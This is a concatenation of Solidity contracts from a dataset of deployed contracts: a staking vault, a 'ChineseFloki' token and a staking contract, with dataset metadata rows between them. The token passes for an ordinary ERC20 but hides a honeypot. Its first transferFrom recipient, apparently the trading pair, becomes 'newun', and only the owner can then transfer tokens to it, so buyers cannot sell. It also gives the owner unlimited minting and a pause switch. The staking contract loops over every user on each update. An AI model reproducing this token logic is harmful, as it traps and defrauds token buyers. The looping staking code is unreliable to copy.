constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface ISoulSummoner {
function enterStaking(uint amount) external;
function leaveStaking(uint amount) external;
function pendingSoul(uint pid, address user) external view returns (uint);
function userInfo(uint pid, address user) external view returns (uint, uint, uint, uint, uint, uint);
}
contract SoulAutoStake is Ownable, Pausable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct UserInfo {
uint lastDepositedTime;
uint soulAtLastUserAction;
uint lastUserActionTime;
}
IERC20 public immutable soul = IERC20(0x11d6DD25c1695764e64F439E32cc7746f3945543);
ISoulSummoner public immutable soulSummoner = ISoulSummoner(0x9961c13913bC8Aa6e0D9c32765dC7886550603af);
mapping(address => UserInfo) public userInfo;
mapping(address => bool) public whitelistedProxies;
uint public lastHarvestedTime;
address public treasury;
uint internal constant MAX_PERFORMANCE_FEE = 1_000; // 10%
uint internal constant MAX_CALL_FEE = 1_000; // 10%
uint internal constant MAX_WITHDRAW_FEE = 1_000; // 10%
uint internal constant MAX_WITHDRAW_FEE_PERIOD = 14 days;
uint public performanceFee = 500; // 5%
uint public callFee = 100; // 1%
uint public withdrawFee = 100; // 1%
uint public withdrawFeePeriod = 72 hours;
bool public hadEmergencyWithdrawn = false;
// ERC20 Functionality
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
event Deposit(address indexed sender, uint amount, uint mintSupply, uint lastDepositedTime);
event Withdraw(address indexed sender, uint currentAmount, uint amount);
event Harvest(address indexed sender, uint performanceFee, uint callFee);
event WhitelistedProxy(address indexed proxy);
event DewhitelistedProxy(address indexed proxy);
event SetTreasury(address indexed treasury);
event SetPerformanceFee(uint performanceFee);
event SetCallFee(uint callFee);
event SetWithdrawFee(uint withdrawFee);
event SetWithdrawFeePeriod(uint withdrawFeePeriod);
event EmergencyWithdraw();
constructor() {
treasury = msg.sender;
IERC20(soul).approve(address(soulSummoner), type(uint).max);
}
// ERC20 Brujeria
function name() public pure returns (string memory) { return "Enchanted Soul"; }
function symbol() public pure returns (string memory) { return "CHANT"; }
function decimals() public pure returns (uint8) { return 18; }
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function _beforeTokenTransfer(address from,
address to,
uint amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint amount) internal virtual {}
function burn(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
_afterTokenTransfer(account, address(0), amount);
}
function mint(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
_afterTokenTransfer(address(0), account, amount);
}
function whitelistProxy(address _proxy) external onlyOwner {
require(_proxy != address(0), 'zero address');
require(!whitelistedProxies[_proxy], 'proxy already whitelisted');
whitelistedProxies[_proxy] = true;
emit WhitelistedProxy(_proxy);
}
function dewhitelistProxy(address _proxy) external onlyOwner {
require(_proxy != address(0), 'zero address');
require(whitelistedProxies[_proxy], 'proxy not whitelisted');
whitelistedProxies[_proxy] = false;
emit DewhitelistedProxy(_proxy);
}
function deposit(address _user, uint _amount) external whenNotPaused nonReentrant {
require(_amount > 0, "Nothing to deposit");
require(_user == msg.sender || whitelistedProxies[msg.sender], 'msg.sender is not allowed proxy');
uint pool = soulBalanceOf();
soul.safeTransferFrom(msg.sender, address(this), _amount);
uint mintSupply = 0;
if (totalSupply() != 0) {
mintSupply = _amount * totalSupply() / pool;
} else {
mintSupply = _amount;
}
UserInfo storage user = userInfo[_user];
mint(_user, mintSupply);
user.lastDepositedTime = block.timestamp;
user.soulAtLastUserAction = balanceOf(_user) * soulBalanceOf() / totalSupply();
user.lastUserActionTime = block.timestamp;
_earn();
emit Deposit(_user, _amount, mintSupply, block.timestamp);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function harvest() external whenNotPaused nonReentrant {
ISoulSummoner(soulSummoner).enterStaking(0);
uint bal = available();
uint currentPerformanceFee = bal * performanceFee / 10_000;
soul.safeTransfer(treasury, currentPerformanceFee);
uint currentCallFee = bal * callFee / 10_000;
soul.safeTransfer(msg.sender, currentCallFee);
_earn();
lastHarvestedTime = block.timestamp;
emit Harvest(msg.sender, currentPerformanceFee, currentCallFee);
}
function setTreasury(address _treasury) external onlyOwner {
require(_treasury != address(0), "Cannot be zero address");
treasury = _treasury;
emit SetTreasury(_treasury);
}
function setPerformanceFee(uint _performanceFee) external onlyOwner {
require(_performanceFee <= MAX_PERFORMANCE_FEE, "performanceFee cannot be more than MAX_PERFORMANCE_FEE");
performanceFee = _performanceFee;
emit SetPerformanceFee(_performanceFee);
}
function setCallFee(uint _callFee) external onlyOwner {
require(_callFee <= MAX_CALL_FEE, "callFee cannot be more than MAX_CALL_FEE");
callFee = _callFee;
emit SetCallFee(_callFee);
}
function setWithdrawFee(uint _withdrawFee) external onlyOwner {
require(_withdrawFee <= MAX_WITHDRAW_FEE, "withdrawFee cannot be more than MAX_WITHDRAW_FEE");
withdrawFee = _withdrawFee;
emit SetWithdrawFee(_withdrawFee);
}
function setWithdrawFeePeriod(uint _withdrawFeePeriod) external onlyOwner {
require(_withdrawFeePeriod <= MAX_WITHDRAW_FEE_PERIOD,
"withdrawFeePeriod cannot be more than MAX_WITHDRAW_FEE_PERIOD");
withdrawFeePeriod = _withdrawFeePeriod;
emit SetWithdrawFeePeriod(_withdrawFeePeriod);
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
require(!hadEmergencyWithdrawn, 'cannot unpause after emergency withdraw');
_unpause();
}
function calculateHarvestSoulRewards() external view returns (uint) {
uint amount = ISoulSummoner(soulSummoner).pendingSoul(0, address(this));
amount = amount + available();
uint currentCallFee = amount * callFee / 10_000;
return currentCallFee;
}
function calculateTotalPendingSoulRewards() external view returns (uint) {
uint amount = ISoulSummoner(soulSummoner).pendingSoul(0, address(this));
amount = amount + available();
return amount;
}
function getPricePerFullShare() external view returns (uint) {
return totalSupply() == 0 ? 1e18 : soulBalanceOf() * 1e18 / totalSupply();
}
function withdraw(uint _amount) public nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(_amount > 0, "Nothing to withdraw");
require(_amount <= balanceOf(msg.sender), "Withdraw amount exceeds balance");
uint currentAmount = soulBalanceOf() * _amount / totalSupply();
burn(msg.sender, _amount);
uint bal = available();
if (bal < currentAmount) {
uint balWithdraw = currentAmount - bal;
ISoulSummoner(soulSummoner).leaveStaking(balWithdraw);
uint balAfter = available();
uint diff = balAfter - bal;
if (diff < balWithdraw) {
currentAmount = balAfter;
}
}
if (block.timestamp < user.lastDepositedTime + withdrawFeePeriod) {
uint currentWithdrawFee = currentAmount * withdrawFee / 10_000;
soul.safeTransfer(treasury, currentWithdrawFee);
currentAmount = currentAmount - currentWithdrawFee;
}
if (balanceOf(msg.sender) > 0) {
user.soulAtLastUserAction = balanceOf(msg.sender) * soulBalanceOf() / totalSupply();
} else {
user.soulAtLastUserAction = 0;
}
user.lastUserActionTime = block.timestamp;
soul.safeTransfer(msg.sender, currentAmount);
emit Withdraw(msg.sender, currentAmount, _amount);
}
function available() public view returns (uint) {
return soul.balanceOf(address(this));
}
function soulBalanceOf() public view returns (uint) {
(uint amount, , , , ,) = ISoulSummoner(soulSummoner).userInfo(0, address(this));
return soul.balanceOf(address(this)) + amount;
}
function _earn() internal {
uint bal = available();
if (bal > 0) {
ISoulSummoner(soulSummoner).enterStaking(bal);
}
}
// // blocks ERC20 functionality.
function allowance(address, address) public pure returns (uint) { return 0; }
function transfer(address, uint) public pure returns (bool) { return false; }
function approve(address, uint) public pure returns (bool) { return false; }
function transferFrom(address, address, uint) public pure returns (bool) { return false; }
// conversion helper functions
function toWei(uint intNum) public pure returns (uint bigInt) { return intNum * 10**18; }
function fromWei(uint bigInt) public pure returns (uint intNum) { return bigInt / 10**18; }
}
| 97,231 | 10,881 |
c5cc74a4fce6b9a536433cd2e2f7f973e938cceb2bc890f30246a8b91dc05930
| 22,850 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x423557F258Cb0be1f0149aae2f9B309A6051914D/contract.sol
| 3,100 | 11,766 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ChineseFloki is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 100000000000 * 10**9;
string private _symbol = "ChFLOKI";
string private _name = "FLOKI CHINESE";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 252,047 | 10,882 |
ad99e64a0f5cf7f4ec0331938bc84bf72bb2c880e002ded12095fe04171ccc5c
| 38,653 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/10/1013de00ee2df563753b03ebc2fe746c68b09ade_StakeContract.sol
| 4,986 | 19,086 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(address account, uint256 amount) public virtual override returns (bool){
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract StakeContract is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Stake(address indexed user, uint256 amount);
event Unstaked(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event Claim(address indexed user, uint256 amount);
mapping(address => uint256) private _stakedBalance;
mapping(address => uint256) private _userReward;
mapping(address => uint256) private _addressToIndex;
mapping(address => uint256) public _unlockblock;
address[] public userAddresses;
uint256 public startBlock = 11675115 ; // set start block
uint256 public minimum_deposit = 1; //minimum deposit
uint256 public endBlock = 999999999999 ; // set end block
uint256 public rewardperblock = 0; // set block reward
uint256 private unlockblockperiod = 840000;
address public rewardaddress = 0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664;
address public stakeaddress = 0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664;
uint256 public totalpoolstacked = 0;
uint256 public lastRewardBlock = 11675115; // set start block
IERC20 rewardtoken = IERC20 (rewardaddress);
IERC20 staketoken = IERC20 (stakeaddress);
function stakeBalanceOf(address _user) public view returns (uint256) {
return _stakedBalance[_user];
}
function rewardBalanceOf(address _user) external view returns (uint256) {
uint256 lastblock = block.number;
if (endBlock <= lastRewardBlock) {
lastblock = endBlock;
}
if (lastblock > startBlock && lastRewardBlock < lastblock && endBlock > lastRewardBlock) {
uint256 reward = _stakedBalance[_user].mul(rewardperblock).div(totalpoolstacked);
uint256 pendingRewardBlock = block.number.sub(lastRewardBlock);
return _userReward[_user].add(reward.mul(pendingRewardBlock));
} else {
return _userReward[_user];
}
}
function stake(uint256 _amount) public updatePool {
require(endBlock > lastRewardBlock, "Staking pool ended");
require(_amount >= minimum_deposit, "Cannot stake less than minimum");
uint256 stakeamount = _stakedBalance[msg.sender].add(_amount);
_stakedBalance[msg.sender] = stakeamount;
totalpoolstacked = totalpoolstacked.add(_amount);
if (_addressToIndex[msg.sender] > 0) {
} else {
userAddresses.push(msg.sender);
uint256 index = userAddresses.length;
_addressToIndex[msg.sender] = index;
_unlockblock[msg.sender] = block.number.add(unlockblockperiod);
}
staketoken.safeTransferFrom(address(msg.sender), address(this), _amount);
emit Stake(msg.sender, _amount);
}
function unstake(uint256 _amount) public updatePool {
require(block.number > _unlockblock[msg.sender], "Unlock block not reached");
require(_stakedBalance[msg.sender] > 0, "Account does not have a balance staked");
require(_amount > 0, "Cannot unstake Zero token");
require(_amount <= _stakedBalance[msg.sender], "Attempted to withdraw more than balance staked");
_stakedBalance[msg.sender] = _stakedBalance[msg.sender].sub(_amount);
totalpoolstacked = totalpoolstacked.sub(_amount);
staketoken.safeTransfer(address(msg.sender), _amount);
emit Unstaked(msg.sender, _amount);
}
function checkCurrentReward() public view returns (uint256) {
return rewardperblock;
}
function changeAfterRewardperblock(uint256 _newRewardperblock) public updatePool onlyOwner returns(uint256){
require(endBlock > lastRewardBlock, "Staking pool ended");
require(_newRewardperblock >0, "reward rate must be greather than zero");
return rewardperblock = _newRewardperblock;
}
modifier updatePool {
uint256 lastblock = block.number;
if (endBlock <= lastRewardBlock) {
lastblock = endBlock;
}
if (lastblock > startBlock && lastRewardBlock < lastblock) {
if (totalpoolstacked > 0){
uint256 length = getAddressesLength();
uint256 pendingRewardBlock = lastblock.sub(lastRewardBlock);
for (uint id = 0; id < length; ++id) {
address user = getAddresses(id);
if (_stakedBalance[user] == 0){
}else {
uint256 reward = _stakedBalance[user].mul(rewardperblock).div(totalpoolstacked);
_userReward[user] = _userReward[user].add(reward.mul(pendingRewardBlock));
}
}
}
lastRewardBlock = lastblock;
}
_;
}
function massupdate () public updatePool returns (bool){
return true;
}
function claim() public updatePool {
